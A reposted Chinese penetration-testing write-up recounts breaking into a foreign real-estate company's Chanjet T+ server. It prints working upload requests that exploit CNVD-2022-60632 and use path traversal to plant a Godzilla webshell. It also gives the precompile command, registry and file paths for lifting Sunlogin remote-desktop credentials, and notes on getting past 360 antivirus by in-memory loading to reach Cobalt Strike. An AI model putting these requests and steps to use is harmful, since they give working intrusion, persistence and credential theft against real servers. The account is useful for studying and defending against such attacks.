[转载] .NET攻防实战之外部打点(一)

入口打点

对国外某地产公司的一次测试，测试过程中每一步都有阻碍，不像以往的一帆风顺，对其中涉及的一些点进行一个简单的记录，码较厚，见谅。

通过资产测绘发现一个畅捷通系统，经查询资料发现一个CNVD-2022-60632的漏洞，发送一个简单的测试包，发现漏洞存在

OST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="est.aspx"Content-Type: image/jpeghello word------WebKitFormBoundarywwk2ReqGTj7lNYlt--

开始上传shell，用哥斯拉生成CShapDynamicPload的码cmd执行以下命令，-p为马子的目录，test2为生成的马子的目录

C:WindowsMicrosoft.NETFrameworkv4.0.30319aspnet_compiler.exe -v / -p D:test D:test2 -fixednames

将马子和生成的.dll、.complied文件都上传上去

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 1296Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="test.aspx"Content-Type: image/jpeg<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx             ------WebKitFormBoundarywwk2ReqGTj7lNYlt--

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/test.aspx.cdcab7d2.compiled"Content-Type: image/jpegï»¿<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/infotest.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/App_Web_test.aspx.cdcab7d2"Content-Type: image/jpegï»¿<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/test.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--

访问http://xxx.xxx.xxx.xxx/tplus/test.aspx?preload=1，成功上线哥斯拉。

原本想直接读取向日葵配置文件，通过向日葵直接连接到远程桌面，但向日葵的配置文件居然是空白的..向日葵配置文件路径一般位于以下

绿色版：C:ProgramDataOraySunloginClientconfig.ini安装版：C:Program FilesOraySunLoginSunloginClientconfig.ini注册表查询安装版：reg query HKEY_USERS.DEFAULTSoftwareOraySunLoginSunloginClientSunloginInfo绿色版：reg query HKEY_USERS.DEFAULTSoftwareOraySunLoginSunloginClientSunloginGreenInfo简约版：reg query HKEY_USERS.DEFAULTSoftwareOraySunLoginSunloginClientSunloginLiteInfo

encry_pwd为本机验证码，为密文，不可解密，fastcode为本机识别码，为明文解密脚本https://github.com/wafinfo/Sunflower_get_Password。其实我还可以上传本地的向日葵配置文件去覆盖目标源文件，但这个方法没试，因为以前试过一次没成功，好像还跟版本有关，我还是选择上线到cs再说，因为有360，我随便上了个免杀，上传上去执行的时候报了什么 denied，反正不允许执行，使用哥斯拉自带的内存加载pe文件成功上线

注：本文转载于先知社区